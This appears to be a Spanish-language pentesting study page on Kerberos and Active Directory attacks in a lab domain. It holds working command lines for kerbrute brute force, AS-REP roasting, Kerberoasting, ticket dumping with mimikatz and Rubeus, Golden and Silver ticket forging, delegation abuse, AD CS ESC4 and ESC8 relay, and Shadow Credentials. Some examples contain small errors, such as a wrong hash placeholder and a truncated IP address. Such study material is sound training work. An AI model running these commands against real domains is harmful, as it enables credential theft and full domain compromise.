Skip to content

1. 🎟️ Ataques kerberos

Los ataques contra Kerberos explotan debilidades en su diseño o mala configuración para obtener tickets, crackearlos offline o falsificarlos directamente. La mayoría no requieren tráfico adicional sospechoso porque abusa del propio protocolo.

[Qué tenemos]
    └──────────┬─ Sin credenciales ───────────▶ AS-REP Roasting (usuarios sin preauth)
               ├─ Con credenciales válidas ───▶ Kerberoasting (cuentas con SPN)
               └─ Con un Hash ───────────┬────▶ Hash KRBTGT ──────────────▶ Golden Ticket
                                         └────▶ Hash de cuenta con SPN ───▶ Silver Ticket

El escenario es este:

Rol Hostname FQDN IP
DC AD01 AD01.dom.local 10.10.10.10
Máquina unida AD02 AD02.dom.local 10.10.10.11

1.1. 🔍 Enumeración y fuerza bruta con Kerbrute

Con la herramienta kerbrute podemos obtener con kerberos información valiosa:

Para la enumeración de usuarios utilizamos

kerbrute userenum -dc-ip 10.10.10.10 -d dom.local users.txt

  • Podemos usar los usuarios que obtengamos de rpc, de una web, de algún archivo o de un diccionario como https://github.com/attackdebris/kerberos_enum_userlists

Para obtener la copia de Kc.tgs usamos este comando, para hacer fuerza bruta sobre un usuario. Luego rompemos este hash con john

kerbrute bruteuser -dc-ip 10.10.10.10 -d dom.local diccionario.txt belen


1.2. AS-REP Roasting

En Kerberos normal, el cliente debe cifrar un timestamp con su contraseña antes de recibir nada. Esto evita que un atacante pregunte por cualquier usuario sin consecuencias. Si la preautenticación está desactivada para un usuario (DONT_REQ_PREAUTH) el KDC responde al AS-REQ de cualquiera que conozca el nombre de usuario, sin verificar que conoce la contraseña.

Dominio.local 🡆 Users 🡆 Usuario 🡆 Account 🡆 Account Options 🡆 Do not requiere kerberos preauthentication

Recordemos que el AS-REP contiene dos partes:

  • El TGT → cifrado con la clave de KRBTGT, inútil para el atacante

  • La copia de Kc.tgs → cifrada con la clave derivada de la contraseña del usuario

El atacante extrae esa segunda parte y la crackea offline para recuperar la contraseña.

Para obtener la copia de Kc.tgs usamos este comando. Luego rompemos este hash con john

Impacket-GetNPUsers dom.local/ -dc-ip 10.10.10.10 -no-pass -usersfile users.txt -format hashcat


1.2. Kerberoasting

Cualquier usuario autenticado puede pedir un ST para cualquier servicio del dominio. El ST está cifrado con la clave de la cuenta asociada al SPN. El KDC no comprueba si el usuario tiene permiso para usar ese servicio, solo emite el ticket.

El atacante solicita el ST legítimamente y lo crackea offline para recuperar la contraseña de la cuenta de servicio.

Asignar un SPN

Para el ataque, hay que asignarle un SPN a un usuario normal, eso hace que Kerberos lo trate como una cuenta de servicio aunque el SPN no exista. Si su contraseña es débil, el atacante podrá obtenerla a partir del ST

Para asignarle un SPN a un usuario es con setspn -A test/spn usuario luego podemos listarlo con setspn -L usuario

Obtener el ST de usuarios con SPN y crackearlo

impacket-GetUserSPNs dom.local/belen:pass123 -request

Por eso, los servicios deben estar gestionados por Managed Service Accounts (MSA/gMSA), lo que le da contraseñas aleatorias de 120 caracteres, incrackeables en la práctica. También se recomienda auditar regularmente los SPNs asignados.


1.3. Ataques de creación de tickets

En Windows, los tickets son procesados y almacenados por el proceso LSASS. Si el atacante tiene acceso a la memoria de una máquina donde hay una sesión activa, puede extraer los tickets e inyectarlos en su propia sesión para suplantar al usuario. Como usuario no administrativo, solo puedes obtener tus propios tickets, pero como administrador local, puedes recolectar todo.

Podemos exportar los tickets de varias maneras

.\mimikatz.exe 'sekurlsa::tickets /export' exit
Rubeus.exe dump /nowrap

Los tickets .kirbi pueden pertenecer a:

  • La cuenta de la computadora, para poder interactuar con el AD.

  • Los tickets de usuario, en formato <valor_aleatorio>-<usuario>@<servicio>-<dominio>.kirbi. Si en el servicio pone krbtgt , corresponde al TGT de esa cuenta.

Si obtenemos un TGT del administrador podemos usar secretsdump con linx para volcar la SAM sin tener que conocer su contraseña:

# Desde linux
export KRB5CCNAME=/tmp/dc.ccache
impacket-secretsdump -k -no-pass -dc-ip 10.10.10.10 \
    -just-dc-user Administrator 'DOM.LOCAL/AD01$'@AD01.DOM.LOCAL


1.3.1. Golden Ticket

El TGT está cifrado con la clave de KRBTGT. El KDC confía ciegamente en cualquier TGT que pueda descifrar con esa clave. Si el atacante tiene esa clave, puede fabricar TGTs válidos para pedir STs en nombre de cualquier usuario para cualquier servicio, incluyendo administradores o usuarios inexistentes.

Via de Persistencia

Por tanto esta vía suele darse en postexplotación como vía de persistencia. Este ataque da acceso potencial a todo el dominio, siendo el ticket mas valioso que existe en un AD. Los Golden Tickets persisten incluso si se cambia la contraseña del usuario suplantado, porque el KDC no verifica que el usuario exista, solo que el TGT sea válido

Para el ataque, necesitamos haber dumpeado el Hash NTLM de la cuenta KRBTGT (obtenible por ejemplo mediante DCSync).

# Ataque desde Windows con Mimikatz
# - Podemos cambiar el cifrado a /aes256:hash o /aes128:hash
# - Nowrap permite copiar mejor el ticket en base64
.\mimikatz.exe 'kerberos::golden /user:Administrator /domain:dom.local /sid:<domainSID> /rc4:<krbtgtNThash> /id:500 /ptt /nowrap' exit

# Ataque desde Windows con Rubeus
.\Rubeus.exe golden /rc4:<krbtgtNThash> /domain:dominio.local /sid:<domainSID> /user:Administrator /ptt /ldap /nowrap

# Ataque desde Linux
impacket-ticketer.py -nthash <krbtgtNThash> -domain-sid <domainSID> -domain domain.local Administrator

1.3.2. Silver Ticket

El ST está cifrado con la clave de la cuenta que ejecuta el servicio. Si el atacante tiene esa clave, puede fabricar STs válidos para ese servicio concreto, sin pasar por el KDC.

A diferencia del Golden ticket, este da acceso solo al servicio comprometido pero es más sigiloso. Para ello se necesita el hash NTLM de la cuenta de servicio (obtenible por ejemplo mediante Kerberoasting u otras técnicas).

# Windows
.\mimikatz.exe 'kerberos::golden /domain:dominio.local /sid:<domainSID> /rc4:<krbtgtNThash> /id:500 /user:usuario /service:servicio' exit

.\rubeus.exe asktgs /user:<USER> /rc4:<HASH> /domain:dominio.local /ldap /service:cifs/<TARGET_FQDN> /ptt /nowrap /printcmd

# Kali
impacket-ticketer -dc-ip 10.10.10.10 -spn CIFS/AD01.Domain.local -domain-sid <domainSID> -nthash <NThash> -domain domain.local Administrator

En cuanto a pass the ticket o pass the key están en el modulo de movimiento lateral


1.4. Ataques de Delegación

La delegación permite que un servicio actúe en nombre de un usuario frente a otro servicio de otra máquina. Fue diseñada para resolver el "Double Hop problem", haciendo que el servicio cachee las credenciales del usuario (los tickets) y los pueda enviar. Es muy útil para para arquitecturas de múltiples capas web → BBDD, web → SMB..., pero peligrosa si está mal configurada.

Existen tres modelos, de menos a más seguro:


1.4.1. Unconstrained Delegation

Cuando un usuario se autentica contra una máquina con Unconstrained Delegation, su TGT completo queda almacenado en esa máquina. La máquina puede usarlo para acceder a cualquier servicio en nombre del usuario.

Admin                          AD02 (Unconstrained)                        AD01 (DC)
  │                                      │                                     │
  │──── se conecta por SMB ──▶ Atacante compromete AD02 ──── ST como Admin ───▶│
  │     (TGT queda en AD02)    [extrae TGT del Admin]   ◀─── acceso total ─────│

Necesitamos comprometer una máquina o cuenta con Unconstrained Delegation activada y conseguir que un usuario privilegiado se autentique contra ella. Por ejemplo la víctima usa Test-NetConnection maquina -Port 445 y luego dir \\maquina.dominio.local\$C. Se puede forzar esta autenticación con el Printer Bug (MS-RPRN)

Configuracion vulnerable

  1. A un sistema se le activa la delegación Set-ADAccountControl -IDentity AD02$ -TrustedForDelegation $true

  2. El atacante ha comprometido a un administrador local de esa máquina, net localgroup Administrators admin /add

Con rubeus monitorizamos en la máquina los tickets hasta dar con el de algun "Domain Admin". Luego copiamos el ticket y lo listamos con klist para ver si se cargó en memoria:

.\rubeus.exe monitor /interval:7 /ptt /nowrap


1.4.2. Constrained Delegation

La delegación está restringida a servicios específicos, definidos en el atributo msDS-AllowedToDelegateTo. Funciona mediante dos extensiones:

Extensión Función
S4U2Self La cuenta de servicio obtiene un ST hacia sí misma en nombre de otro usuario
S4U2Proxy Usa ese ST como prueba para pedir un ST hacia el servicio final permitido
Solo funciona hacia los servicios listados en msDS-AllowedToDelegateTo. No se puede saltar a otros servicios
Atacante (cuenta comprometida                              KDC              CIFS/AD01
con delegación hacia CIFS/AD01)                             │                    │
   │                                                        │                    │
   │── S4U2Self: "dame ST para mí como Administrator" ─────▶│                    │
   │◀───── ST (para la cuenta) ─────────────────────────────│                    │
   │                                                        │                    │
   │── S4U2Proxy: "dame ST para CIFS/AD01 como Admin" ─────▶│                    │
   │◀───── ST para CIFS/AD01 ───────────────────────────────│                    │
   │                                                        │                    │
   │─────────────────────────────────────────────────────────── AP-REQ ─────────▶│

Necesitamos Comprometer una cuenta con SPN y Constrained Delegation configurada hacia un servicio concreto.

Configuracion vulnerable

  1. Se le asigna un SPN a un usuario setspn -A test/spn

  2. En dsa.msc: Dominio.local > Users > Usuario > Delegation > Trust this user for delegation > Use Any authentication Protocol y seleccionamos un servicio en una máquina (el DC), por ejemplo cifs/AD01.dominio.local

Obtenemos el Service Ticket desde Linux con:

impacket-getST dominio.local/admin:pass123 -spn cifs/AD01.dom.local -impersonate Administrator \
    -dc-ip 10.10.10.10


1.4.3 Resource-Based Constrained Delegation (RBCD)

Necesitamos el permiso de escritura sobre el atributo msDS-AllowedToActOnBehalfOfOtherIdentity del servicio destino (por ejemplo por GenericWrite o GenericAll).

A diferencia de los modelos anteriores, aquí es el servicio destino quien decide qué cuentas pueden delegar hacia él. Esto se controla desde el objeto del propio recurso, no desde la cuenta que delega.

  Constrained clásica:          RBCD:
  "Yo decido a dónde voy"       "Yo decido quién entra"

  cuenta_servicio               recurso_destino
  └── msDS-AllowedToDelegateTo  └── msDS-AllowedToActOnBehalfOf
      └── cifs/DC01                 └── cuenta_atacante

En un ataque, si se tiene GenericWrite sobre un objeto equipo (muy común en mal configuradas), se puede apuntar msDS-AllowedToActOnBehalfOfOtherIdentity a una cuenta controlada por el atacante y luego usar S4U2Self + S4U2Proxy para obtener un ST como cualquier usuario hacia ese equipo.

Mitigación general para delegación

  • Añadir cuentas sensibles al grupo Protected Users (no pueden ser delegadas)

  • Marcar cuentas críticas como "La cuenta es confidencial y no se puede delegar"

  • Auditar regularmente los atributos de delegación en el dominio

  • Limitar GenericWrite sobre objetos de equipo


1.4. Ataques a AD CS

Si en la máquina existe ACDS, podemos usar la herramienta certipy para enumerarlo.

certipy find -u belen@dom.local -p pass123 -dc-ip 10.10.10.10 -vulnerable -stdout


ESC4

Es una vulnerabilidad de AD-CS que ocurre cuando un usuario comprometido ("belen") pertenece al grupo Cert Publishers, lo que le permite modificar templates de certificados (permisos Owner, WriteOwner o WriteDACL)

Ocurre por privilegios como . Al modificar la plantilla pueden dar lugar a otras vulnerabilidades como ESC1, permitiendo crear certificados para por ejemplo el administrador

$: certipy-ad template -u belen@dom.local -p pass123 -template DunderMifflinAuthentication -save-old -dc-ip 10.10.10.10
# [*] Successfully updated 'DunderMifflinAuthentication'
# Permite tambien PtH con el parametro '-hashes <hash>'

$: certipy req -ca DOM-AD01-CA -u belen -p pass123 -dc-ip 10.10.10.10 -template DunderMifflinAuthentication -target AD01.dom.local -upn administrator@dom.local
# [*] Saved certificate and private key to 'administrator.pfx'
$: certipy-ad auth -pfx Administrator.pfx -dc-ip 10.10.10.10

ESC8

Este es un ataque NTLM relay contra el endpoint web AD CS por HTTP (ruta /CertSrv). Mediante ntlmrelayx se monitorea la red en busqueda de certificados que poder guardar en un archivo para aprovecharlos y autenticarse con ellos en servicios. A esto se le conoce como "Pass the certificate" y se realiza con la herramienta gettgtpkinit.py. Esto se puede forzar con el printer bug.

impacket-ntlmrelayx -t http://10.10.10.11/certsrv/certfnsh.asp --adcs -smb2support \
    --template KerberosAuthentication
# [*] Writing PKCS#12 certificate to ./DC01$.pfx

python3 printerbug.py DOM.LOCAL/belen:pass123@10.10.10.10 <ip_kali>

python3 gettgtpkinit.py -cert-pfx ../krbrelayx/AD01\$.pfx -dc-ip 10.10.10.10 'dom.local/AD01$' /tmp/dc.ccache
# Error libcrypto -> pip3 install -I git+https://github.com/wbond/oscrypto.git

We can now perform a Pass-the-Certificate attack to obtain a TGT as AD01$. One way to do this is by using gettgtpkinit.py. First, let's clone the repository and install the dependencies:


El Ataque Shadow Credentials abusa del atributo msDS-KeyCredentialLink de la víctima. Este atributo guarda las claves publicas que se pueden usar para autenticarse por PKINIT.

El Bloodhound encontramos que el usuario A tiene el privilegio AddKeyCredentialLink sobre el usuario B

Podemos usar la herramienta pywhisker y gettgtpkinit para efecutar el ataque desde una máquina LINUX. Este comando genera un certificado X.509 certificate y escribe la clave pública en el atributo de la víctima.

pywhisker --dc-ip 10.10.10.10 -d WEB.LOCAL -u A -p 'pass123' --target B --action add
# [+] Saved PFX (#PKCS12) certificate & key at path: eFUVVTPf.pfx 
# [*] Must be used with password: bmRH4LK7UwPrAOfvIx6W 

python3 gettgtpkinit.py -cert-pfx ../eFUVVTPf.pfx -pfx-pass 'bmRH4LK7UwPrAOfvIx6W' -dc-ip 10.10.10 DOM.LOCAL/B /tmp/B.ccache

Ahora exportamos el certificado y usamos las herramientas (habiendo configurado krb5.conf)